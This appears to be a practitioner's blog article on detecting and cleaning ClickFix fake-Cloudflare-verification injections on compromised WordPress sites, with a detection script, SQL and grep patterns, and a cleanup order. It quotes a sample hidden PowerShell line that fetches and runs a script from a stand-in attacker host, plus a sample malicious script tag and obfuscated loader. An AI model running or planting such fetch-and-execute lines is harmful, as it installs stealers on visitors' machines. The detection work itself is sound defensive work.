ClickFix is the social-engineering attack where a compromised WordPress site shows visitors a convincing fake "Cloudflare verification" or "browser update" page that instructs them to paste a command into Windows Run, macOS Terminal, or PowerShell. The pasted command downloads and executes malware, most often Lumma Stealer or DanaBot in 2024-2025, AsyncRAT and SectopRAT in some campaigns, that exfiltrates browser passwords, session cookies, autofill data, and crypto wallets. The injection lives on the WordPress site, but the harm lands on the visitor.
The attack was first documented by Proofpoint in April 2024. By August 2024, Sucuri and Wordfence were reporting it on compromised WordPress sites at scale. By autumn 2024 it was one of the most-seen patterns in WordPress malware cleanups, and it's been refining since. The injection vector has evolved, early waves came in through the LiteSpeed Cache CVE-2024-28000 and a few WPBakery-family plugin bugs; later waves through stolen admin credentials and supply-chain compromises in legitimate but abandoned plugins. The visible payload at the visitor level has stayed remarkably consistent, which is what makes it identifiable.
This article covers: how to recognize ClickFix when you see it, where the injection lives inside a compromised WordPress site, how to remove it without missing the persistence layer that keeps bringing it back, and how to prevent the same entry vector from being re-exploited a week later.
I'm writing this as someone who has cleaned several sites of this exact family between late 2024 and the current 2026 wave. The cleanup pattern is the same every time; only the specific plugin CVE that let the attacker in changes.
What visitors actually see
A user lands on a page of the compromised WordPress site (often the homepage, sometimes a specific post deep-linked from search results). Within a second of page load, a full-screen overlay appears that looks like a Cloudflare challenge:
Verify You Are Human Please complete the verification by following these steps:
- Press Windows + R to open the Run dialog
- Press Ctrl + V to paste the verification code
- Press Enter to complete the verification
The clipboard, at that moment, contains a PowerShell one-liner. A typical 2024-2025 payload looked like:
powershell -w hidden -c "iwr -useb https://<attacker>/x.txt | iex"
or, more recently, a base64-encoded form that hides the URL until decoded. The script downloads a stage-2 payload that installs the actual stealer or RAT.
The trick is that nothing happens on the website itself. The browser displays the overlay; the user copies a command to their clipboard by clicking "Verify"; the user pastes and runs the command themselves. There's no exploit of a browser bug, no automatic download. From the visitor's perspective, they did this to themselves. From the site owner's perspective, you served a page that hijacked a visitor's clipboard and walked them through compromising their own machine.
Variants I've seen since the original wave:
- "Browser Update Required" framing instead of Cloudflare
- A fake Google reCAPTCHA "I'm not a robot" overlay
- macOS variant pasting into Terminal instead of Run (the payload becomes a
curl | bashline) - A two-step variant that first triggers a clipboard copy via a "Copy Code" button before showing the paste instructions
The user-facing chrome changes; the underlying mechanism (clipboard hijack + paste-and-run instructions) is the constant.
What the injection looks like in your site
The page-load behavior comes from a JavaScript snippet that the WordPress site is now serving. Three injection locations cover roughly 90% of the cases I've seen, in this rough order of frequency.
Location A: A <script> tag injected into the rendered HTML
The fastest check is curl for your own homepage and grep the response for the loader:
curl -s https://yoursite.com/ \
| grep -E '<script[^>]*src=["'\''][^"'\'']+\.(js|com|cc|xyz|top|click|cfd|space)["'\'']' \
| headMost ClickFix loaders are hosted on burner domains. Common 2024-2025 TLDs in active campaigns: .cc, .xyz, .top, .click, .cfd, .space, .shop, sometimes .com on freshly-registered domains. The script tag looks innocuous:
<script src="https://verify-cf-checker.cc/v3/check.js" defer></script>The domain often borrows the word "cloudflare", "captcha", "verify", "check", or "secure" to look plausible at a glance.
Location B: Inline JS embedded in the HTML response
When the injection is into the page content rather than a separate file, it appears as a large inline <script> block, frequently obfuscated:
<script>
(function(){var _0xabc=['fromCharCode',...];eval(function(p,a,c,k,e,d){...}(...));})();
</script>The combination of eval, fromCharCode, unescape, String.fromCharCode, and large array-index obfuscation is the signature.
Location C: Conditional injection based on user agent
The clever variant: the injection only fires for visitors with browser user agents (Chrome, Edge, Firefox) running Windows or macOS. Googlebot, Bingbot, and headless scanners see a clean page. This is why a Sucuri or Wordfence remote scan can show "no malware detected" while real visitors complain about the verification page.
To replicate what real visitors see, override the user agent:
curl -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" \
-s https://yoursite.com/ | grep -iE 'cloudflare|verify|captcha|<script' | head -20If the curl-with-Windows-Chrome response contains the injection and the bare curl does not, the malicious code is fingerprinting headless tools. This is also why opening your own site in an incognito window from your desktop is a more reliable test than a remote scanner.
Where the injection physically lives in WordPress
The <script> tag has to be inserted into the page by something. The four real-world insertion points, with detection commands for each:
1. wp_options (the most common in 2024-2025 waves)
WordPress autoloads many wp_options rows on every page request. An attacker who can write to the database adds an option whose value contains the malicious <script>, and another piece of code (in a modified theme or plugin file) echoes that option value into <head> or <body>.
-- Look for autoloaded options with script-like content
SELECT option_id, option_name, LEFT(option_value, 200) AS preview
FROM wp_options
WHERE autoload IN ('yes', 'on')
AND option_value REGEXP '<script|document\\.write|fromCharCode|cloudflare.*verify|verify.*cloudflare|browser.*update';
-- And anything with a domain that looks burner-y
SELECT option_id, option_name, LEFT(option_value, 200) AS preview
FROM wp_options
WHERE option_value REGEXP '\\.(cc|xyz|top|click|cfd|space|shop)/';Malicious option names typically mimic legitimate ones: wp_blog_check, _transient_browser_check, siteurl_backup, wp_check, class-wp-cache.
2. Modified theme functions.php or header.php
The active theme runs PHP on every page. Adding an echo of a script tag, or a wp_head action that prints the script, gets the injection into every page.
# Look for the obvious additions in the active theme
THEME=$(wp option get template --path=/path/to/wordpress --allow-root)
ACTIVE_DIR="/path/to/wordpress/wp-content/themes/$THEME"
grep -rnE '<script[^>]*src=["'\''][^"'\'']+\.(js|com|cc|xyz|top|click|cfd|space)' "$ACTIVE_DIR"
grep -rnE "wp_head.*function|add_action.*['\"]wp_head" "$ACTIVE_DIR" | head -20
grep -rnE "echo.*<script|base64_decode|file_get_contents.*http" "$ACTIVE_DIR"The injection is often hidden via base64_decode so a simple grep for <script misses it. The pattern eval(base64_decode(...)) inside functions.php is the strongest signal.
3. A malicious plugin (often legitimate-looking)
The attacker installs a plugin (or activates one that was lying dormant) whose sole purpose is to inject the script. Names mimic real plugins: "WP Cache Optimizer", "Browser Compatibility Check", "Security Verification".
# Compare installed plugins against your last clean inventory
wp plugin list --format=table --fields=name,status,version --path=/path/to/wordpress --allow-rootAny plugin you don't recognize is a candidate. Read its main PHP file before deleting; legitimate-but-abandoned plugins occasionally do get added by site admins for reasons that aren't recorded anywhere.
4. A drop-in (advanced-cache.php, object-cache.php)
The WordPress drop-in files (wp-content/advanced-cache.php, wp-content/object-cache.php, wp-content/db.php) are loaded automatically by core and have full PHP access before any plugin runs. An attacker who plants a malicious drop-in can output the script tag without any plugin or theme involvement.
ls -la /path/to/wordpress/wp-content/advanced-cache.php \
/path/to/wordpress/wp-content/object-cache.php \
/path/to/wordpress/wp-content/db.php 2>/dev/nullIf you don't have a caching plugin installed (W3 Total Cache, WP Super Cache, Cache Enabler, LiteSpeed Cache) or an object-cache backend (Redis Object Cache), these files should not exist. Their existence on a site that doesn't use them is the strongest possible signal.
Entry points: how the attacker got in
ClickFix is the payload, not the entry. The attacker exploited something else first, then deployed the injection. Identifying the entry is mandatory, clean ClickFix without closing the entry and it returns within days. The four entry vectors I've seen most often in this campaign:
Plugin CVE exploitation. The two that landed hardest in the WordPress ClickFix wave:
| CVE | Plugin | Affected versions | Fixed in | Impact |
|---|---|---|---|---|
| CVE-2024-28000 (Aug 2024) | LiteSpeed Cache | < 6.4.1 | 6.4.1 (Aug 2024) | Unauthenticated privilege escalation; attacker becomes admin in one request |
| CVE-2024-2879 (April 2024) | LayerSlider | 7.9.11 - 7.10.0 | 7.10.1 (March 2024) | Unauthenticated SQL injection; database content exfiltration and admin creation |
| CVE-2023-40000 (May 2023) | LiteSpeed Cache | < 5.7.0.1 | 5.7.0.1 (Oct 2023) | Stored XSS, still found unpatched on many sites in 2024-2025 waves |
If you ran any of these plugins at a vulnerable version, that's likely your entry. Update immediately and treat the site as compromised.
Stolen admin credentials. Credential stuffing against /wp-login.php and /xmlrpc.php is the perennial entry. The fix is two-factor authentication, login-attempt rate limiting (fail2ban with a wp-login.php jail), and not reusing passwords across sites.
Compromised plugin updates (supply chain). A few legitimate plugins have had their WordPress.org accounts compromised in 2024-2025; the attacker pushed an "update" containing the malicious code, which sites auto-installed. The list of incidents is curated by Patchstack and reproduced by Sucuri's research blog.
Direct file write via misconfigured uploads. If wp-content/uploads/ allows PHP execution (a hosting misconfiguration), an attacker who exploits any plugin with an arbitrary file upload (there have been dozens over the years) can upload .php files there and execute them. The fix is at the web-server level: block PHP execution under wp-content/uploads/ (covered in Step 8 of How to Remove WordPress Malware).
For methodical entry-point identification from your access logs, see How to Find the Original Entry Point in a WordPress Compromise.
A complete detection script
The script below combines the visitor-side and server-side detection above. Save as wp-clickfix-detect.sh, chmod +x, run from inside the WordPress directory (or pass the path as an argument).
#!/usr/bin/env bash
# wp-clickfix-detect.sh, find the injection points for ClickFix-family attacks on a WordPress install.
# Source: https://techearl.com/wordpress-fake-cloudflare-verification-clickfix
# Site: https://techearl.com/
# Reports candidates; does NOT modify or delete.
#
# Usage: ./wp-clickfix-detect.sh /path/to/wordpress https://yoursite.com
set -e
WP_ROOT="${1:-$PWD}"
SITE_URL="${2:-}"
echo "========================================="
echo " ClickFix Detection Pass"
echo " WP root: $WP_ROOT"
echo "========================================="
# 1. Visitor-side check (requires the live URL)
if [ -n "$SITE_URL" ]; then
echo
echo "--- 1. Visitor-side check (Windows Chrome UA) ---"
curl -s -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/130.0.0.0 Safari/537.36" \
"$SITE_URL/" | grep -iE 'cloudflare.*verify|verify.*cloudflare|browser.*update|<script[^>]*\.(cc|xyz|top|click|cfd|space)' | head -10 \
|| echo " (no obvious markers in homepage HTML)"
fi
# 2. wp_options autoload scan
echo
echo "--- 2. Suspicious wp_options entries ---"
wp db query "SELECT option_id, option_name, LEFT(option_value, 200) AS preview \
FROM wp_options \
WHERE autoload IN ('yes','on') \
AND option_value REGEXP '<script|document\\.write|fromCharCode|cloudflare.*verify|browser.*update|\\.(cc|xyz|top|click|cfd|space)/' \
LIMIT 30" \
--path="$WP_ROOT" --allow-root 2>/dev/null \
|| echo " (wp-cli unavailable; run the SQL directly)"
# 3. Active theme audit
echo
echo "--- 3. Active theme injection scan ---"
THEME=$(wp option get template --path="$WP_ROOT" --allow-root 2>/dev/null)
if [ -n "$THEME" ]; then
ACTIVE_DIR="$WP_ROOT/wp-content/themes/$THEME"
echo " Active theme: $THEME"
grep -rlnE '<script[^>]*src=["'\''][^"'\'']+\.(cc|xyz|top|click|cfd|space|shop)' "$ACTIVE_DIR" 2>/dev/null \
|| echo " (no remote-script signatures in active theme)"
grep -rlnE 'eval\(base64_decode|eval\(gzinflate' "$ACTIVE_DIR" 2>/dev/null \
|| echo " (no eval-decode patterns in active theme)"
fi
# 4. Drop-in files
echo
echo "--- 4. Drop-in files ---"
for f in advanced-cache.php object-cache.php db.php sunrise.php; do
if [ -f "$WP_ROOT/wp-content/$f" ]; then
echo " PRESENT: wp-content/$f (size $(wc -c <"$WP_ROOT/wp-content/$f") bytes)"
fi
done
# 5. Plugin list (manual cross-reference)
echo
echo "--- 5. Plugin list (cross-reference against your inventory) ---"
wp plugin list --format=table --fields=name,status,version --path="$WP_ROOT" --allow-root 2>/dev/null
# 6. Recently modified PHP files (last 30 days)
echo
echo "--- 6. PHP files modified in the last 30 days ---"
find "$WP_ROOT" -type f -name '*.php' -mtime -30 \
-not -path '*/node_modules/*' 2>/dev/null \
| head -30
echo
echo "========================================="
echo " Done. Investigate each section manually."
echo "========================================="The script never modifies the database or filesystem. Anything it surfaces is a candidate that needs reading by eye before removal.
Cleanup, in the order that actually works
ClickFix doesn't live in just one place. Cleaning the file injection but leaving the wp_options row means the row re-injects on the next page load. Cleaning both but leaving the entry-point plugin vulnerable means a new injection within days. The order:
- Take the site offline (maintenance mode, or
Deny from all). - Snapshot files and database for forensics.
- Identify the entry point via log forensics. Without this, the next steps are temporary.
- Clean the file-system injection points: modified theme files, malicious plugins, drop-ins. Replace from clean sources where possible.
- Clean the database injection: remove suspicious
wp_optionsrows, cleanwp_postsfor any injected<script>content, audit users for hidden admins. - Clean every persistence layer so the injection doesn't return, server crontab,
auto_prepend_file, mu-plugins, WP-Cron events. See the full persistence catalog for the exhaustive list. - Patch the entry vector. If it was LiteSpeed Cache, upgrade to 6.4.1+ or remove the plugin. If it was stolen credentials, rotate every credential and add 2FA. If it was a vulnerable plugin you no longer need, delete it entirely.
- Verify with a clean test. Curl with a Windows Chrome user agent; open the site in incognito; have a friend on a different network and browser do the same. If the injection is gone for all three, you've cleaned it.
- Bring the site back online.
- Monitor. Set up file integrity monitoring at the server level (covered in How to Remove WordPress Malware Step 8). Watch access logs for repeat probes to the same entry point for at least 14 days.
The step that catches most reinfections is step 6. If wp_options is clean but the WP-Cron hook is still scheduled to "fix" the missing row every hour, you'll be cleaning the row repeatedly until you find the hook.
Common mistakes
The patterns that turn this into a multi-week problem instead of a one-day cleanup:
Trusting the remote scanner. Sucuri SiteCheck, Wordfence's remote scan, and similar tools fetch your site with their own scanner user agent. ClickFix injections that fingerprint user agents skip the scanner entirely. The scanner reports "clean" while real visitors are getting the verification overlay. Always do the curl-with-Windows-Chrome check yourself.
Cleaning the visible injection but missing the persistence. The malicious <script> tag is what you can see. The thing that put it there, the wp_options row, the modified functions.php, the malicious plugin, is what you can't always see at a glance. Use the full persistence checklist.
Believing the visitors who say "your site infected me". They're not entirely wrong, but ClickFix requires the visitor to manually paste and run a command. The site presented the social-engineering UI; the visitor executed the command. Both halves of the chain matter. Your responsibility is to make sure visitors stop seeing the UI; the visitor's responsibility is to never paste a command they didn't write into Run or Terminal.
Skipping the entry-vector identification. ClickFix is the second-stage payload. The attacker had access first, then deployed the injection. Cleaning the injection without identifying how they got in means they re-deploy from the same access path the next day. Log forensics is mandatory.
Stopping the cleanup as soon as visitors stop reporting. The visible page is what visitors report on; the site may still contain backdoors that aren't triggering the visible payload but are doing other things (SEO spam, credential harvesting via fake login forms, redirect chains on specific URLs). A clean visible result doesn't mean a clean site.
Frequently asked questions
See also
- How to Remove WordPress Malware: The Practitioner's Playbook: the broader cleanup methodology. ClickFix is one specific payload among many; the playbook is what to do regardless of which family.
- Why WordPress Malware Keeps Coming Back: Persistence Mechanisms: the deep dive on every place the recreator can hide. Required reading if your ClickFix cleanup keeps reverting.
- How to Find the Original Entry Point in a WordPress Compromise: the access-log forensics that identifies which plugin CVE or credential vector got the attacker in. Without this, cleanup is temporary.
- How to Detect and Remove Fake WordPress Admin Users: the credential-side persistence that often accompanies ClickFix infections.
- Why Wordfence Got Silently Disabled (and How to Stop It Happening Again): the security-plugin-bypass pattern most ClickFix campaigns use to avoid being caught early.
- Cross-Site Contamination on Shared WordPress Hosting: when multiple sites in a shared hosting account get infected at once, the cleanup has to address the structural issue, not just each site.
- How to Change a WordPress Password: the credential rotation step every ClickFix cleanup needs.
External references: the Proofpoint April 2024 ClickFix report is the foundational research on the technique. Sucuri's WordPress malware analysis covers the specific WordPress variants by year. Patchstack's vulnerability database is the authoritative tracker for the plugin CVEs that have been used as ClickFix entry vectors.





